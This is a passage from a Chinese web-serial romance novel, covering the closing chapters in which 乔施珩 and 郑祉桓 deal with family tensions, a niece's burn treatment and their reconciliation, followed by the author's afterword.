“我住这一周的院，也没见你来几次。”她忽略了乔施珩，看向郑祉桓，“当初你毕业，我想让你去你哥的企业，你立刻考了个研究生，又考了个中Y选d生，屁股拍拍，人就走了。这么多年，你跟我和你爸正经话都没讲过几句，现在你又来这么一出，你是存心拿刀子挖我心啊！” 郑祉桓看着她，依旧没有什么很浓烈的情感，说爱谈不上，甚至连恨都没有。“郑祉裕是什么人，你不知道吗？” 她的脸色变了变，“但是再怎么样，他有孩子！你们呢？” “承认吧，你做母亲很失败。郑祉裕在你身边长大，他长成什么样的人？你说我冷漠，不是正常人，但郑祉裕呢？他是正常人吗？他是你想要的儿子吗？” “别说了！”她提起手边的行李，“我有车来接，你们走吧。” 乔施珩一直不敢说话，也不知道应该说些什么，他们三个人在这里，但话题只围绕在母子问题上，没有他可以讲话的空间。 但是看起来，郑先生的父母，都被迫接受了他的存在。 从医院出来，已经到了傍晚，他们目送着那辆车离去。 “想吃什么？” 乔施珩想了想，倒是不知道想吃什么，但他想去蒙久的店里看看，便带着郑祉桓过去了，顺便和他讲了一下自己和蒙久的同学之情。不过到了店里，蒙久却不在，他打电话给蒙久，对方却去了外地旅游，承诺下次再好好招待他。 蒙久不在店里，乔施珩也知道郑先生不太喜欢串串这类食物，就带着他找了家餐馆。 “杜慧慧联系你了吗？” 乔施珩没想到他会主动问起杜慧慧，“没有，但是看她朋友圈好像面试没过，笔试过了。” “她L选的岗位竞争力比较大，不过南湖区内部调动，她又回了金石区。” “真的吗？怎么没听她说？” “文件还没正式下去，她暂时应该还不知道。” 乔施珩有些惊讶，“可是这两个区也不是你在，你怎么知道？” “内部渠道。” “好吧。”乔施珩不再问了。 这家餐馆味道其实不太好，以乔施珩的口味来看，很糟糕。 “你和你的家人，为什么关系那么差？” “接触并不多，没什么深厚的感情。”郑祉桓显然不想解释，但因为对方是乔施珩，他还是尽可能地多说：“初中被接回后，我们无法磨合，所以我一直住校，周末有时候也不回去。大学更是去了燕京读，回到申市后就进入了工作单位，也没什么时间接触。” 乔施珩知道这种关系的和缓并非一朝一夕就可以做到，幸而他们都在改变。 只是，他还是不懂，“郑总他，不是很好吗？” 对于他的这个问题，郑祉桓出乎意料地回以他一个意味深长的笑容。 乔施珩决定不问了，或许，他眼中的郑总，只是郑总想要他看到的郑总。 吃完饭时间还早，本来乔施珩打算明天离开之前回家一趟，但现在看时间还早，又不好把握明天的时间，所以还是决定回去一趟。 他们没有直接回家，而是去了太芬的小门店。 这个点人比较多，令乔施珩意外的却是店里竟然是乔施军在忙。 乔施军见了他们，很吃惊。“你怎么……” “没什么，有点事回来一趟。”乔施珩还不知道怎么跟他说，而且他跟郑先生两个人还没说开，所以只能搪塞过去。“嫂子呢？” “在家呢，婷婷这几天一直有点发烧，去诊所吊水也不怎么见好。” “那你赶紧带她去医院检查一下啊？一直不好怎么能行？是不是病毒感染什么的？” “我本来就打算明天带她去的。” 乔施军的串还有些没卖完，但他显然无心卖了，就早早关了门，跟着乔施珩一道回了家。 郑祉桓照旧去了王圆家的超市买了些孩子喜欢的礼品，而此时的王圆看到他们在一起，就已经明白了一切，结账的时候还偷偷给郑祉桓竖了个大拇指。 到了家里，轩轩正趴在茶几上看书，太芬抱着婷婷坐在沙发上看电视，而婷婷闭着眼睛，好像睡着了。 “你们怎么回来了？”太芬看到郑祉桓，吓了一跳，感觉话都有些不会说了，但同时，她也明白了。 “我正好有些事要回申市一趟，就来家里看看。”乔施珩摸了摸轩轩的头，之后过去看了看婷婷，“怎么了？脸色蜡黄。” “这几天一直发烧，也不见好。我就让你哥明天带去医院检查一下。” 郑祉桓主动说：“我来安排。” 他出去打电话了。 太芬也把轩轩赶去楼上睡觉。 乔施军就抓着他问：“你跟他到底怎么回事？怎么又到一起去了？” 太芬瞪了他一眼，“还能怎么回事，你真会问，这不是很明显吗？”她转而问乔施珩：“你都想好了？” 乔施珩有些惭愧，不知道该怎么解释。 他们给够他空间，甚至连这种事情，他们都没有过于反对。 “我们不是要反对你们，只是你跟他本身就有一些差距，又不太愉快地分开过，我们也是担心你会受到伤害。” 乔施军也很无奈。 乔施珩揉揉眼睛，“抱歉啊，只是我觉得我们应该再尝试一下，我们都在改变。”他顿了顿，“我们在一起很多年了。” 只是那些年，一个不懂爱，一个不敢爱。 漫长的沉默后，郑祉桓进来了。 “明天会有车过来接你们，他会带你们去医院。” “谢谢你啊，郑先生。” 乔施军想起来：“你没带东西回来？” “我住酒店，明天直接从那边走。” 回酒店的路上，乔施珩跟他道谢，“其实做检查我哥他可以的。” “他腿脚不方便，有个人带着会少跑一些路，没事，你不用放在心上。” “明天我过来接你，你不要紧张。” “好。”乔施珩忽然想起来：“我是不是要买衣服呢？显得正式一些。” “没关系，不用。” 郑祉桓看起来很轻松，乔施珩倒是真的放松了下来。 晚上他睡在酒店的大床上，脑海里想着明天的宴会，他能想到的也就是一些人在一起吃吃饭。 可第二天，当他们的车子缓缓驶入那座古老的庄园中时，乔施珩才明白，什么是贫穷限制了想象。《 》 【正文完结】 第70章 “要抱一下吗…… 一路上，乔施珩的脑海里只闪过零星词语，例如青石、古松、凉亭、白墙黛瓦、小桥流水…… 下车后，一位身着旗袍的女士笑着走了过来，“郑先生，很久不见了。” 郑祉桓同她问好，“香姐。” “走吧，他们都到了。”她步伐从容，谈吐有度，但让人看着就不是这里的主人或者客人，倒像是领班之类的引路人。 穿过曲径通幽的回廊，两边的翠竹郁郁葱葱，远处还能听到水流的声音，太安静了，乔施珩不自觉感到有些压力。不多久，他们进入了一间四面通透的茶水室。郑叔戴着一副金丝眼镜，正和一位与他差不多年纪但气质上却更显清冷的老伯对弈。除了他们之外，旁边还坐着两男一女，年纪都在三十多岁，正在低声交谈。看到他们进来，这几个人同时朝着他们望去。 “来了。”郑复谦朝着他们点点头，“过去坐吧。”他又看看乔施珩，“小乔，别紧张，自然一些，都是自家人。” 他对面的老伯笑了，“难得见你这么和蔼。” “我什么时候不够和蔼了？”他又招呼他继续下棋。 “二哥，这就是小乔吗？”那个女士过来跟乔施珩打招呼，“你好，我是郑彬乐。”他又介绍那两位男士：“他们是郑斌和郑武。” 郑祉桓对他们点点头，带着乔施珩过去坐下。 “妈妈和伯母婶婶她们都在那边。”郑彬乐化着精致的妆容，目光又落回乔施珩的身上，她关切地询问：“小乔，听说你在天市开店？现在开店的话容易吗？尤其是餐饮这块，听说特别难做。” “确实不是很好做，不过我有比较有经验的朋友帮衬，我们店对口味的要求也比较高，所以回头客会多一些。加上现在也做网络平台，勉强还是可以维持住。” 她还想再问什么，郑祉桓却看向她：“话这么多。” 她笑了笑，不再说话了。 倒是另外两位男士看出来郑祉桓不希望别人过多关注乔施珩，于是将他扯到话题中来，从跨境并购案说到能源企业又扯到地缘政治以及反垄断之类，这些话题乔施珩别说插不上嘴，他都不太听得懂他们在说什么。 这样，他反而轻松了很多。 等到郑复谦下完棋，郑祉桓主动问：“大伯，最近身体怎么样？” “真稀奇了，你还会主动问我来了？”他笑呵呵：“好得很，你不用拘束。” 话虽那么说，但是一圈人又去了宴会厅寒暄一圈，再坐上饭桌都是一个小时之后的事情了。 吃饭的时候乔施珩显然是中心人物，所有人都在问他话，有些乔施珩好回答，有些不好回答。遇到不好回答的，郑祉桓就站出来替他回答。大概是他能力强，算是家族里的核心人物，所以没人表现出对他们有异样的看法。 而他的母亲，一直强颜欢笑，却总归是没说什么反对的话。 乔施珩知道，这顿饭吃完，他们的关系也该明朗一些了。只是他还没想好，要怎么去说。 回天市的路上，乔施珩想了很多，但总感觉太肉麻的话他根本说不出口，而且郑先生也不是那种会说肉麻话的人。 但他还是想找个机会，勇敢向前走一步。 不过令他没想到的是，这天他接到了太芬的电话，电话里她很着急，“阿珩，不好了呀，婷婷这病才好，又不小心打翻了我熬大料的锅，烫伤了！” “什么？严重吗？烫到哪里了？” “脖子以下，挺严重的。” “行，嫂子你先别慌，去医院了吗？医生怎么说？” “我们在医院里碰到了郑先生，他现在正在跟医院协调。”太芬很抱歉，“对不起啊，阿珩，我们又麻烦你跟郑先生了。” 乔施珩宽慰了她几句，挂掉电话后，给郑先生打电话，却显示正在通话中。 “楠楠，我得回申市一趟。”乔施珩把苗楠叫过来，叮嘱了一些店里的事情，直接定了最近一班高铁，去了高铁站。 路上郑祉桓给他回了电话。 “我已经联系了烧伤救治与容貌康复一体化方面的专家团队，只是这个团队在燕京。他们会先接收婷婷的病例进行远程预诊，我这边也会协调专业医疗救护车长途转运。”他补了一句，“你不用担心。” “好，我大概晚上会到。”乔施珩想起来：“我用跟着过去吗？” “你先过来。” “好，谢谢你。” “没事，应该的。” 乔施珩以为他忙，会顾不上自己，结果他就等在高铁站的出口处。 “大哥和大嫂已经跟着转运车一起去了燕京，我安排了人跟去，他会安排好。” “什么人呢？对你工作会有影响吗？” “是郑祉裕那边的人，没关系，对我不会有影响。”郑祉桓带着他去了停车场，“只是我猜想，你会想去看一下，所以我订了明天早上的飞机过去。” “还有，你妹妹那边也御演乄会明天飞燕京。” “我现在都感觉有点懵，我好像什么都不知道，你怎么就全都知道了？” 郑祉桓发动车子离开，跟他解释：“我们单位老领导生病做手术，今天几个单位负责人都约好了过来看望一下，结果就碰到了大哥和大嫂，打听了一下才知道婷婷是烫伤，我看到了伤口，脖子以下到肚子那边，烫伤比较严重。” “我嫂子说是打翻了她熬大料的锅，也太不小心了。”他想起来：“那轩轩谁带呀？” “这几天暂时送在邻居家住，拜托他们接送一下。”郑祉桓想了想，“你们家后面有个开超市的，说是放在了他们家。” “是潘以佳的家，那还好，那位叔叔开超市，家里阿姨跟着他一起，时间相对宽裕。”乔施珩放下心来，不忘给潘以佳发信息感谢。 发完信息，他看着道路两侧，“你把我往哪儿带呢？酒店吗？” “对。” “你现在住哪里？” “住在环山路三号。” “那要不……你收留我一晚？” “好。” 环山路三号也是一片别墅区，乔施珩进门的时候就疑惑：“你名下可以有这些财产吗？” “都在郑祉裕名下。” “好吧。” 乔施珩在屋里转了一圈，这间别墅不大，但是仍然让人感觉像样板间。 “你为什么又住这里？” “现在主要工作集中在申市大楼，在区里的时间比较少，住这里距离申市大楼会比较近。” “对哦。”乔施珩厨房晃荡到卧室，看到一楼的卧室明显是他在住，“你住这间吗？” “嗯，懒得往楼上跑了。”郑祉桓倒了杯茶给他，放在了客厅的桌子上。 “现在有专职的司机吗？” “用楼里配备的司机。” “秘书呢？” “我把赵秘书调过去了，跟着我一起调动。” “好吧。”乔施珩看着那张床，“我们挤一挤吗？” “不用了，我睡沙发。” 乔施珩想了想，“这么见外吗？” 郑祉桓看着他，似乎在思考应该怎么说。乔施珩耐心等着，好半天，他就问了六个字，“你原谅我了吗？” 这个样子，一点儿也不像是个叱咤风云的人物，反而像个尽显青涩的少年。 乔施珩难得想逗逗他，“明天再原谅你。” 然后晚上郑祉桓就真的在沙发上将就了一晚。 婷婷转运到燕京的医院后经过专家团队现场会诊，接着就制定了医疗计划。乔施珩和郑祉桓到的时候，她正在做手术。太芬和乔施珩坐在外面的椅子上，愁眉苦脸。 “你们来了。”太芬叹气：“还不知道怎么样呢？” “没事的嫂子，这是最权威的团队，不会有问题的。”乔施珩宽慰完，郑祉桓就接了话，“资金方面你们不用担心，郑祉裕的公司有这方面的援助资金，他会通过正规渠道帮助你们申请。” 乔施军很感激，“郑先生，太感谢你了，有你和阿珩在，我们放心的。” “客气了。” 乔施文的飞机晚上才到，她到的时候婷婷还在手术室，她风风火火跑过来，“什么情况啊？我听说我都吓了一大跳，怎么好好的能被烫到？” “怪我，是我不小心。”太芬垂泪。 “没事，别太担心，相信医生。”乔施珩问乔施文：“你怎么跑来了？你那边走得开吗？” “我哥给我打电话，问我要不要过来，我就过来了。”她看向郑祉桓，“郑先生也在啊？”随即，她看向乔施珩的目光变得意味深长，很明显，她已经明白了。 婷婷的手术做了很久，情况也比较乐观，他们一家子总算放下心来。 郑祉桓让跟着过来的人已经把他们几个人的衣食住行都安排妥当了。他工作很忙，不能久留，第二天就回了申市。 “哥，你们这是和好了吗？”乔施文问他：“你们或许……确定关系了？” 乔施军咳了一声，没出声。倒是太芬说：“阿珩，你放心吧，现在社会也开放了，我们不会对你有什么看法。我跟你哥身体都不好，这个家全都靠你，我们感激你，也感激郑先生。”她叹气：“我们也不想总是麻烦你，但我跟你哥也没什么大本事，像这些突发事情还是要麻烦到你们，好在以后我们能挣钱了，会尽量不麻烦你们的。” “别说这些了，见外了。”乔施珩拍了拍太芬。 很多话，他们都懂，也不用一再言明了。 婷婷病情好转以后，乔施珩和乔施文就从燕京离开了。 乔施珩却没回天市，他先去了申市。 在那家宏伟的办公大院外，他来回踱步，这次不是有谁跑来带路，而是郑祉桓亲自出来。“你不是说要回天市？” “在那之前，先来看看你，感谢你为我们家的付出。”他提议：“请你吃饭怎么样？” “好。” “去你家，我要大展身手。”乔施珩看了看时间：“等你下班，我们先去买菜。” “你去我办公室等我。” “不用了，我就在旁边的公交车站等你，反正还有不到一个小时你就下班了。” 郑祉桓显然不想同意。 “没事，这里的公交站人很少，我就坐着等你。” 郑祉桓同意了。 他转身的时候，乔施珩拉住了他，他张开双手，“要抱一下吗？” 郑祉桓展露笑容，用力将他拥入怀中。 《正文完结》—— 作者有话说：说来惭愧，这篇文其实与我最初想写的是完全不同的。因为我比较业余，闭门造车，很多要求不知道，后知后觉，有些设定也不好把握发挥程度。还是要跟大家说一声抱歉，可能看的并不是想象中的那种狗血文。虽然我其实本来是打算写那种（哈哈） 也多谢大家的包容和支持。 年后更新番外啦，提前祝大家新年快乐！《 》